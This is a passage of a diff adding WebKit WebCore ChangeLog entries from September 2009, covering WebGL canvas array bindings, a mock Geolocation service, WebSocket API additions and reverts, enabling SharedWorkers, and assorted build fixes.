+        (WebCore::JSCanvasRenderingContext3D::bufferSubData):
+        (WebCore::JSCanvasRenderingContext3D::texImage2D):
+        (WebCore::JSCanvasRenderingContext3D::texSubImage2D):
+        * bindings/js/JSCanvasShortArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasShortArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasShortArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedByteArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedByteArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedByteArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedIntArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedIntArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedIntArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedShortArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedShortArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasUnsignedShortArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::canvasArrayBuffer):
+        (WebCore::JSDOMWindow::canvasByteArray):
+        (WebCore::JSDOMWindow::canvasUnsignedByteArray):
+        (WebCore::JSDOMWindow::canvasIntArray):
+        (WebCore::JSDOMWindow::canvasUnsignedIntArray):
+        (WebCore::JSDOMWindow::canvasShortArray):
+        (WebCore::JSDOMWindow::canvasUnsignedShortArray):
+        (WebCore::JSDOMWindow::canvasFloatArray):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+        (WebCore::HTMLCanvasElement::paint):
+        * html/canvas/CanvasArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasArray.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasArray.idl: Added.
+        * html/canvas/CanvasArrayBuffer.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasArrayBuffer.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasArrayBuffer.idl: Added.
+        * html/canvas/CanvasByteArray.cpp:
+        * html/canvas/CanvasByteArray.h:
+        * html/canvas/CanvasByteArray.idl:
+        * html/canvas/CanvasFloatArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasFloatArray.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasFloatArray.idl: Added.
+        * html/canvas/CanvasIntArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasIntArray.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasIntArray.idl: Added.
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::CanvasRenderingContext3D):
+        (WebCore::CanvasRenderingContext3D::markContextChanged):
+        (WebCore::CanvasRenderingContext3D::beginPaint):
+        (WebCore::CanvasRenderingContext3D::endPaint):
+        (WebCore::CanvasRenderingContext3D::reshape):
+        (WebCore::CanvasRenderingContext3D::sizeInBytes):
+        (WebCore::CanvasRenderingContext3D::bindTexture):
+        (WebCore::CanvasRenderingContext3D::bufferData):
+        (WebCore::CanvasRenderingContext3D::bufferSubData):
+        (WebCore::CanvasRenderingContext3D::checkFramebufferStatus):
+        (WebCore::CanvasRenderingContext3D::clear):
+        (WebCore::CanvasRenderingContext3D::createBuffer):
+        (WebCore::CanvasRenderingContext3D::createFramebuffer):
+        (WebCore::CanvasRenderingContext3D::createTexture):
+        (WebCore::CanvasRenderingContext3D::createProgram):
+        (WebCore::CanvasRenderingContext3D::createRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::createShader):
+        (WebCore::CanvasRenderingContext3D::deleteBuffer):
+        (WebCore::CanvasRenderingContext3D::deleteFramebuffer):
+        (WebCore::CanvasRenderingContext3D::deleteProgram):
+        (WebCore::CanvasRenderingContext3D::deleteRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::deleteShader):
+        (WebCore::CanvasRenderingContext3D::deleteTexture):
+        (WebCore::CanvasRenderingContext3D::drawArrays):
+        (WebCore::CanvasRenderingContext3D::drawElements):
+        (WebCore::CanvasRenderingContext3D::getBoolean):
+        (WebCore::CanvasRenderingContext3D::getBooleanv):
+        (WebCore::CanvasRenderingContext3D::getBufferParameteri):
+        (WebCore::CanvasRenderingContext3D::getBufferParameteriv):
+        (WebCore::CanvasRenderingContext3D::getFloat):
+        (WebCore::CanvasRenderingContext3D::getFloatv):
+        (WebCore::CanvasRenderingContext3D::getFramebufferAttachmentParameteri):
+        (WebCore::CanvasRenderingContext3D::getFramebufferAttachmentParameteriv):
+        (WebCore::CanvasRenderingContext3D::getInteger):
+        (WebCore::CanvasRenderingContext3D::getIntegerv):
+        (WebCore::CanvasRenderingContext3D::getProgrami):
+        (WebCore::CanvasRenderingContext3D::getProgramiv):
+        (WebCore::CanvasRenderingContext3D::getProgramInfoLog):
+        (WebCore::CanvasRenderingContext3D::getRenderbufferParameteri):
+        (WebCore::CanvasRenderingContext3D::getRenderbufferParameteriv):
+        (WebCore::CanvasRenderingContext3D::getShaderi):
+        (WebCore::CanvasRenderingContext3D::getShaderiv):
+        (WebCore::CanvasRenderingContext3D::getShaderInfoLog):
+        (WebCore::CanvasRenderingContext3D::getShaderSource):
+        (WebCore::CanvasRenderingContext3D::getTexParameterf):
+        (WebCore::CanvasRenderingContext3D::getTexParameterfv):
+        (WebCore::CanvasRenderingContext3D::getTexParameteri):
+        (WebCore::CanvasRenderingContext3D::getTexParameteriv):
+        (WebCore::CanvasRenderingContext3D::getUniformf):
+        (WebCore::CanvasRenderingContext3D::getUniformfv):
+        (WebCore::CanvasRenderingContext3D::getUniformi):
+        (WebCore::CanvasRenderingContext3D::getUniformiv):
+        (WebCore::CanvasRenderingContext3D::getUniformLocation):
+        (WebCore::CanvasRenderingContext3D::getVertexAttribf):
+        (WebCore::CanvasRenderingContext3D::getVertexAttribfv):
+        (WebCore::CanvasRenderingContext3D::getVertexAttribi):
+        (WebCore::CanvasRenderingContext3D::getVertexAttribiv):
+        (WebCore::CanvasRenderingContext3D::getVertexAttribOffset):
+        (WebCore::CanvasRenderingContext3D::texImage2D):
+        (WebCore::CanvasRenderingContext3D::texParameterf):
+        (WebCore::CanvasRenderingContext3D::texParameteri):
+        (WebCore::CanvasRenderingContext3D::texSubImage2D):
+        (WebCore::CanvasRenderingContext3D::uniform1f):
+        (WebCore::CanvasRenderingContext3D::uniform1fv):
+        (WebCore::CanvasRenderingContext3D::uniform1i):
+        (WebCore::CanvasRenderingContext3D::uniform1iv):
+        (WebCore::CanvasRenderingContext3D::uniform2f):
+        (WebCore::CanvasRenderingContext3D::uniform2fv):
+        (WebCore::CanvasRenderingContext3D::uniform2i):
+        (WebCore::CanvasRenderingContext3D::uniform2iv):
+        (WebCore::CanvasRenderingContext3D::uniform3f):
+        (WebCore::CanvasRenderingContext3D::uniform3fv):
+        (WebCore::CanvasRenderingContext3D::uniform3i):
+        (WebCore::CanvasRenderingContext3D::uniform3iv):
+        (WebCore::CanvasRenderingContext3D::uniform4f):
+        (WebCore::CanvasRenderingContext3D::uniform4fv):
+        (WebCore::CanvasRenderingContext3D::uniform4i):
+        (WebCore::CanvasRenderingContext3D::uniform4iv):
+        (WebCore::CanvasRenderingContext3D::uniformMatrix2fv):
+        (WebCore::CanvasRenderingContext3D::uniformMatrix3fv):
+        (WebCore::CanvasRenderingContext3D::uniformMatrix4fv):
+        (WebCore::CanvasRenderingContext3D::useProgram):
+        (WebCore::CanvasRenderingContext3D::validateProgram):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib1f):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib1fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib2f):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib2fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib3f):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib3fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib4f):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib4fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttribPointer):
+        (WebCore::CanvasRenderingContext3D::viewport):
+        * html/canvas/CanvasRenderingContext3D.h:
+        * html/canvas/CanvasRenderingContext3D.idl:
+        * html/canvas/CanvasShortArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasShortArray.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasShortArray.idl: Added.
+        * html/canvas/CanvasTexture.cpp:
+        (WebCore::CanvasTexture::CanvasTexture):
+        * html/canvas/CanvasTexture.h:
+        (WebCore::CanvasTexture::isCubeMapRWrapModeInitialized):
+        (WebCore::CanvasTexture::setCubeMapRWrapModeInitialized):
+        * html/canvas/CanvasUnsignedByteArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasUnsignedByteArray.h: Added with properties svn:eol-style and svn:mime-type.
+         * html/canvas/CanvasUnsignedByteArray.idl: Added.
+        * html/canvas/CanvasUnsignedIntArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasUnsignedIntArray.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasUnsignedIntArray.idl: Added.
+        * html/canvas/CanvasUnsignedShortArray.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasUnsignedShortArray.h: Added with properties svn:eol-style and svn:mime-type.
+        * html/canvas/CanvasUnsignedShortArray.idl: Added.
+        * page/DOMWindow.idl:
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::beginPaint):
+        (WebCore::GraphicsContext3D::endPaint):
+        (WebCore::GraphicsContext3D::bindTexture):
+        (WebCore::GraphicsContext3D::bufferData):
+        (WebCore::GraphicsContext3D::bufferSubData):
+        (WebCore::GraphicsContext3D::checkFramebufferStatus):
+        (WebCore::GraphicsContext3D::drawArrays):
+        (WebCore::GraphicsContext3D::drawElements):
+        (WebCore::GraphicsContext3D::texParameterf):
+        (WebCore::GraphicsContext3D::texParameteri):
+        (WebCore::GraphicsContext3D::uniform1f):
+        (WebCore::GraphicsContext3D::uniform1fv):
+        (WebCore::GraphicsContext3D::uniform2f):
+        (WebCore::GraphicsContext3D::uniform2fv):
+        (WebCore::GraphicsContext3D::uniform3f):
+        (WebCore::GraphicsContext3D::uniform3fv):
+        (WebCore::GraphicsContext3D::uniform4f):
+        (WebCore::GraphicsContext3D::uniform4fv):
+        (WebCore::GraphicsContext3D::uniform1i):
+        (WebCore::GraphicsContext3D::uniform1iv):
+        (WebCore::GraphicsContext3D::uniform2i):
+        (WebCore::GraphicsContext3D::uniform2iv):
+        (WebCore::GraphicsContext3D::uniform3i):
+        (WebCore::GraphicsContext3D::uniform3iv):
+        (WebCore::GraphicsContext3D::uniform4i):
+        (WebCore::GraphicsContext3D::uniform4iv):
+        (WebCore::GraphicsContext3D::uniformMatrix2fv):
+        (WebCore::GraphicsContext3D::uniformMatrix3fv):
+        (WebCore::GraphicsContext3D::uniformMatrix4fv):
+        (WebCore::GraphicsContext3D::vertexAttrib1f):
+        (WebCore::GraphicsContext3D::vertexAttrib1fv):
+        (WebCore::GraphicsContext3D::vertexAttrib2f):
+        (WebCore::GraphicsContext3D::vertexAttrib2fv):
+        (WebCore::GraphicsContext3D::vertexAttrib3f):
+        (WebCore::GraphicsContext3D::vertexAttrib3fv):
+        (WebCore::GraphicsContext3D::vertexAttrib4f):
+        (WebCore::GraphicsContext3D::vertexAttrib4fv):
+        (WebCore::GraphicsContext3D::vertexAttribPointer):
+        (WebCore::GraphicsContext3D::getBoolean):
+        (WebCore::GraphicsContext3D::getBooleanv):
+        (WebCore::GraphicsContext3D::getFloat):
+        (WebCore::GraphicsContext3D::getFloatv):
+        (WebCore::GraphicsContext3D::getInteger):
+        (WebCore::GraphicsContext3D::getIntegerv):
+        (WebCore::GraphicsContext3D::getBufferParameteri):
+        (WebCore::GraphicsContext3D::getBufferParameteriv):
+        (WebCore::GraphicsContext3D::getFramebufferAttachmentParameteri):
+        (WebCore::GraphicsContext3D::getFramebufferAttachmentParameteriv):
+        (WebCore::GraphicsContext3D::getProgrami):
+        (WebCore::GraphicsContext3D::getProgramiv):
+        (WebCore::GraphicsContext3D::getRenderbufferParameteri):
+        (WebCore::GraphicsContext3D::getRenderbufferParameteriv):
+        (WebCore::GraphicsContext3D::getShaderi):
+        (WebCore::GraphicsContext3D::getShaderiv):
+        (WebCore::GraphicsContext3D::getTexParameterf):
+        (WebCore::GraphicsContext3D::getTexParameterfv):
+        (WebCore::GraphicsContext3D::getTexParameteri):
+        (WebCore::GraphicsContext3D::getTexParameteriv):
+        (WebCore::GraphicsContext3D::getUniformf):
+        (WebCore::GraphicsContext3D::getUniformfv):
+        (WebCore::GraphicsContext3D::getUniformi):
+        (WebCore::GraphicsContext3D::getUniformiv):
+        (WebCore::GraphicsContext3D::getVertexAttribf):
+        (WebCore::GraphicsContext3D::getVertexAttribfv):
+        (WebCore::GraphicsContext3D::getVertexAttribi):
+        (WebCore::GraphicsContext3D::getVertexAttribiv):
+        (WebCore::GraphicsContext3D::getVertexAttribOffset):
+        (WebCore::GraphicsContext3D::texImage2D):
+        (WebCore::GraphicsContext3D::texSubImage2D):
+        (WebCore::GraphicsContext3D::sizeInBytes):
+
+2009-09-08  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Make m_windowVisible more consistent with the actual visibility of the inspector.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setWindowVisible):
+
+2009-09-07  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed speculative build fix for Snow Leopard.
+
+        * platform/GeolocationService.cpp:
+        (WebCore::createGeolocationServiceNull):
+
+2009-09-07  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Adds a mock Geolocation service. This will be used to provide predictable behavior of the
+        Geolocation API for use in LayoutTests. Later changes will integrate the the mock
+        Geolocation service with DumpRenderTree.
+        https://bugs.webkit.org/show_bug.cgi?id=28264
+
+        The mock Geolocation service returns a fixed position or error. This position or error can be
+        set through static methods on the GeolocationService class. The position or error is shared
+        between all instances of the mock Geolocation service.
+
+        Implementation details.
+        The GeolocationService object maintains a pointer to a factory function which it uses to create
+        Geolocation service instances. Each platform implementing Geolocation sets this pointer
+        to the factory function for their platform's implementation. When the mock Geolocation service
+        is activated, the factory function pointer is reset to the factory function for the mock service.
+
+        Test: fast/dom/Geolocation/error.html
+
+        * WebCore.base.exp: Modified. Exports GeolocationServiceMock methods.
+        * GNUMakefile.am: Modified. Added GeolocationServiceMock files.
+        * WebCore.gypi: Modified. Added GeolocationServiceMock files.
+        * WebCore.pro: Modified. Added GeolocationServiceMock files.
+        * WebCore.vcproj/WebCore.vcproj: Modified. Added GeolocationServiceMock files.
+        * WebCore.vcproj/WebCoreCommon.vsprops: Modified. Added mock directory to includes.
+        * WebCore.xcodeproj/project.pbxproj: Modified. Added GeolocationServiceMock files and exports some headers.
+        * WebCoreSources.bkl: Modified. Added GeolocationServiceMock files.
+        * page/ChromeClient.h: Modified. Fixed comment.
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::setIsAllowed): Modified. Fixed error string.
+        * platform/GeolocationService.cpp: Modified.
+        (WebCore::createGeolocationServiceNull): Added. Returns null in place of a Geolocation service. Used to avoid link errors on platforms where Geolocation is not implemented.
+        (WebCore::GeolocationService::create): Added. Uses the factory function pointer to create a Geolocation service implementation.
+        (WebCore::GeolocationService::useMock): Added. Configures the GeolocationServie to use the mock implementation.
+        * platform/GeolocationService.h: Modified.
+        * platform/mock: Added.
+        * platform/mock/GeolocationServiceMock.cpp: Added.
+        (WebCore::GeolocationServiceMock::create): Added. Creates a GeolocationServiceMock object.
+        (WebCore::GeolocationServiceMock::GeolocationServiceMock): Added. Constructor.
+        (WebCore::GeolocationServiceMock::~GeolocationServiceMock): Added. Destructor.
+        (WebCore::GeolocationServiceMock::setPosition): Added. Sets the position that will be returned by the object.
+        (WebCore::GeolocationServiceMock::setError): Added. Sets the error that will be returned by the object.
+        (WebCore::GeolocationServiceMock::startUpdating): Added. GeolocationService implementation. Starts the service.
+        (WebCore::GeolocationServiceMock::stopUpdating): Added. GeolocationService implementation. Stops the service.
+        (WebCore::GeolocationServiceMock::timerFired): Added. Used to provide an asynchronous callback when the service is started.
+        (WebCore::GeolocationServiceMock::makeGeolocationCallbackFromAllInstances): Added. Used to call back when the position or error is updated.
+        (WebCore::GeolocationServiceMock::makeGeolocationCallback): Added. Used to call back when the service starts.
+        (WebCore::GeolocationServiceMock::initStatics): Added. Initializes statics members with constructors.
+        (WebCore::GeolocationServiceMock::cleanUpStatics): Added. Cleans up static members with constructors.
+        * platform/mock/GeolocationServiceMock.h: Added.
+        (WebCore::GeolocationServiceMock::lastPosition): Added. Returns the fixed position.
+        (WebCore::GeolocationServiceMock::lastError): Added. Returns the fixed error.
+        * platform/gtk/GeolocationServiceGtk.cpp: Modified.
+        (WebCore::GeolocationServiceGtk::create): Added. Creates an instance of GeolocationServiceGtk.
+        * platform/gtk/GeolocationServiceGtk.h: Modified.
+        * platform/mac/GeolocationServiceMac.h: Modified.
+        * platform/mac/GeolocationServiceMac.mm: Modified.
+        (WebCore::GeolocationServiceMac::create): Added. Creates an instance of GeolocationServiceMac.
+
+2009-09-07  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28985
+
+        We need to be slightly more careful about how we pick up a script
+        execution context.  In particular, we were getting the wrong document
+        for frames that had been navigated somewhere else.
+
+        In the long term, we should think about a better algorithm for
+        computing the script context.
+
+        Fixes LayoutTests/http/tests/xmlhttprequest/detaching-frame-2.html
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::retrieveFrame):
+
+2009-09-07  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix for 2.8 compilation.
+
+        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
+        (wxRenderer_DrawScrollbar):
+
+2009-09-07  Drew Wilson  <atwilson@google.com>
+
+        Unreviewed build fix.
+
+        Reverting r48121 to fix Windows build errors.
+
+        * DerivedSources.cpp:
+        * GNUmakefile.am:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        (WebCore::toEventTarget):
+        * dom/EventTarget.cpp:
+        * dom/EventTarget.h:
+        * page/DOMWindow.idl:
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::connect):
+        (WebCore::WebSocket::send):
+        (WebCore::WebSocket::close):
+        (WebCore::WebSocket::bufferedAmount):
+        (WebCore::WebSocket::addEventListener):
+        (WebCore::WebSocket::removeEventListener):
+        (WebCore::WebSocket::dispatchEvent):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didReceiveMessage):
+        (WebCore::WebSocket::didClose):
+        (WebCore::WebSocket::dispatchOpenEvent):
+        (WebCore::WebSocket::dispatchMessageEvent):
+        (WebCore::WebSocket::dispatchCloseEvent):
+        * websockets/WebSocket.h:
+        (WebCore::WebSocket::create):
+        (WebCore::WebSocket::):
+        (WebCore::WebSocket::setOnopen):
+        (WebCore::WebSocket::onopen):
+        (WebCore::WebSocket::setOnmessage):
+        (WebCore::WebSocket::onmessage):
+        (WebCore::WebSocket::setOnclose):
+        (WebCore::WebSocket::onclose):
+        (WebCore::WebSocket::toWebSocket):
+        (WebCore::WebSocket::refEventTarget):
+        (WebCore::WebSocket::derefEventTarget):
+        * websockets/WebSocketChannel.cpp: Removed.
+        * websockets/WebSocketChannel.h: Removed.
+        * websockets/WebSocketChannelClient.h: Removed.
+        * websockets/WebSocketHandshake.cpp: Removed.
+        * websockets/WebSocketHandshake.h: Removed.
+
+2009-09-07  Drew Wilson  <atwilson@google.com>
+
+        Unreviewed speculative build fix.
+
+        Reverted previous build fix as it didn't fix the problem.
+
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toEventTarget):
+
+2009-09-07  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed, build fix.
+
+        [Qt] Fix build after SHARED_WORKERS are enabled by default (r48131)
+
+        * WebCore.pro:
+
+2009-09-07  Drew Wilson  <atwilson@google.com>
+
+        Unreviewed build fix.
+
+        Temporarily removed depenency between JSEventTarget.cpp and WebSocket.h in an attempt to fix a windows build break.
+
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toEventTarget):
+
+2009-09-07  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Enable SHARED_WORKERS by default.
+        https://bugs.webkit.org/show_bug.cgi?id=28959
+
+        Tests (enabled in a separate patch):
+               fast/workers/shared-worker-constructor.html
+               fast/workers/shared-worker-context-gc.html
+               fast/workers/shared-worker-event-listener.html
+               fast/workers/shared-worker-exception.html
+               fast/workers/shared-worker-frame-lifecycle.html
+               fast/workers/shared-worker-gc.html
+               fast/workers/shared-worker-lifecycle.html
+               fast/workers/shared-worker-load-error.html
+               fast/workers/shared-worker-location.html
+               fast/workers/shared-worker-navigator.html
+               fast/workers/shared-worker-replace-global-constructor.html
+               fast/workers/shared-worker-replace-self.html
+               fast/workers/shared-worker-shared.html
+               fast/workers/shared-worker-simple.html
+               http/tests/workers/shared-worker-importScripts.html
+               http/tests/workers/shared-worker-redirect.html
+               http/tests/xmlhttprequest/workers/shared-worker-close.html
+               http/tests/xmlhttprequest/workers/shared-worker-methods-async.html
+               http/tests/xmlhttprequest/workers/shared-worker-methods.html
+               http/tests/xmlhttprequest/workers/shared-worker-xhr-file-not-found.html
+
+        * config.h: Removed some whitespace/touched the file to force a full rebuild on the build-bots.
+        * Configurations/FeatureDefines.xcconfig:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+        * dom/DOMWindow.idl: Removed unnecessary whitespace to force a rebuild on the build-bots to pickup the flag change.
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerScriptLoader::load):
+        Clean up bitrot in SharedWorker code - DenyCrossOriginRedirect is now DenyCrossOriginRequests.
+        * workers/SharedWorkerContext.cpp:
+        (WebCore::SharedWorkerContext::dispatchConnect):
+        Clean up bitrot - updated SharedWorker code to reflect new MessageEvent API.
+
+2009-09-07  Xan Lopez  <xlopez@igalia.com>
+
+        Unreviewed build fix.
+
+        Add new file to sources list.
+
+        * GNUmakefile.am:
+
+2009-09-07  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fixes for wx SVN trunk. 
+
+        * config.h:
+        * platform/wx/RenderThemeWx.cpp:
+        (WebCore::RenderThemeWx::paintButton):
+        * platform/wx/wxcode/mac/carbon/non-kerned-drawing.cpp:
+        (WebCore::drawTextWithSpacing):
+        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
+        (wxRenderer_DrawScrollbar):
+
+2009-09-07  Chris Hills <chaz@chaz6.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Use direct includes for Phonon, not the pretty ones
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+
+2009-09-07  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        WebSocket API implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=28038
+        
+        Add build systems only for GNUmakefile.am and WebCore.xcodeproj now.
+        Other build systems will be updated once the code is functional.
+        Tests will be landed once the code is completed and functional.
+
+        * DerivedSources.cpp:
+        * GNUmakefile.am:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::webSocket):
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        (WebCore::toEventTarget):
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toWebSocket):
+        * dom/EventTarget.h:
+        * page/DOMWindow.idl:
+        * websockets/WebSocket.cpp:
+        (WebCore::ProcessWebSocketEventTask::create):
+        (WebCore::ProcessWebSocketEventTask::performTask):
+        (WebCore::ProcessWebSocketEventTask::ProcessWebSocketEventTask):
+        (WebCore::isValidProtocolString):
+        (WebCore::WebSocket::connect):
+        (WebCore::WebSocket::send):
+        (WebCore::WebSocket::close):
+        (WebCore::WebSocket::bufferedAmount):
+        (WebCore::WebSocket::addEventListener):
+        (WebCore::WebSocket::removeEventListener):
+        (WebCore::WebSocket::dispatchEvent):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didReceiveMessage):
+        (WebCore::WebSocket::didClose):
+        (WebCore::WebSocket::dispatchOpenEvent):
+        (WebCore::WebSocket::dispatchMessageEvent):
+        (WebCore::WebSocket::dispatchCloseEvent):
+        * websockets/WebSocket.h:
+        (WebCore::WebSocket::create):
+        (WebCore::WebSocket::):
+        (WebCore::WebSocket::setOnopen):
+        (WebCore::WebSocket::onopen):
+        (WebCore::WebSocket::setOnmessage):
+        (WebCore::WebSocket::onmessage):
+        (WebCore::WebSocket::setOnclose):
+        (WebCore::WebSocket::onclose):
+        (WebCore::WebSocket::toWebSocket):
+        (WebCore::WebSocket::eventListeners):
+        (WebCore::WebSocket::refEventTarget):
+        (WebCore::WebSocket::derefEventTarget):
+        * websockets/WebSocketChannel.cpp: Added.
+        * websockets/WebSocketChannel.h: Added.
+        * websockets/WebSocketChannelClient.h: Added.
+        * websockets/WebSocketHandshake.cpp: Added.
+        * websockets/WebSocketHandshake.h: Added.
+
+2009-09-07  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26854
+        [GTK] Needs API to allow more control over outgoing requests
+
+        Add infrastructure required to provide the new
+        WebKitNetworkResponse object in our API.
+
+        * GNUmakefile.am: Add new files to the build.
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::ResourceRequest::updateFromSoupMessage):
+        * platform/network/soup/ResourceResponse.h:
+        * platform/network/soup/ResourceResponseSoup.cpp: Added.
+        (WebCore::ResourceResponse::toSoupMessage):
+
+2009-09-07  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Cleanup document/frame null-checking in V8DOMWindowCustom.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=29009
+
+        Be consistent in document and frame null checks.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::V8Custom::ClearTimeoutImpl):
+
+2009-09-07  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [Soup] Limit the number of connections
+        https://bugs.webkit.org/show_bug.cgi?id=18431
+
+        Increase the maximum number of per host and total connections to
+        similar values than those used by the other modern browsers. Seems
+        to significantly improve page loading time in many cases.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::ensureSessionIsInitialized):
+
+2009-09-07  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Various minor chromium appcache modifications.
+        https://bugs.webkit.org/show_bug.cgi?id=28960
+
+        No new tests.
+
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
+          Fix a null pointer exception.
+        (WebCore::ACCESSOR_GETTER):
+        * platform/network/chromium/ResourceRequest.h:
+          Switch from appCache 'context' to 'host' terminology.
+          Note: leaving the old deprecated accessors in place until the matching
+          change in chrome is landed to use the new accessors.
+        (WebCore::ResourceRequest::ResourceRequest):
+        (WebCore::ResourceRequest::appCacheHostID):
+        (WebCore::ResourceRequest::setAppCacheHostID):
+        (WebCore::ResourceRequest::appCacheContextID):
+        (WebCore::ResourceRequest::setAppCacheContextID):
+        * platform/network/chromium/ResourceResponse.h:
+          Add an appCacheManifestURL getter/setter.
+          Drop the 'get' prefix from the appCacheID getter.
+          Note: leaving the old deprecated 'get' prefixed accessor in place until the matching
+          change in chrome is landed to use the new accessor.
+        (WebCore::ResourceResponse::appCacheID):
+        (WebCore::ResourceResponse::appCacheManifestURL):
+        (WebCore::ResourceResponse::setAppCacheManifestURL):
+        (WebCore::ResourceResponse::getAppCacheID):
+
+2009-09-07  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28359
+        Cleanup: Undo some accidental changes around DOMApplicationCache.
+        - Restore support for constructing a DOMApplicationCache object with a null frame ptr.
+        - Return a non-null object for window.applicationCache when the feature is disabled.
+        - Simplify the swapCache method.
+
+        Test: http/tests/appcache/disabled.html
+
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::DOMApplicationCache):
+        (WebCore::DOMApplicationCache::swapCache):
+        (WebCore::DOMApplicationCache::scriptExecutionContext):
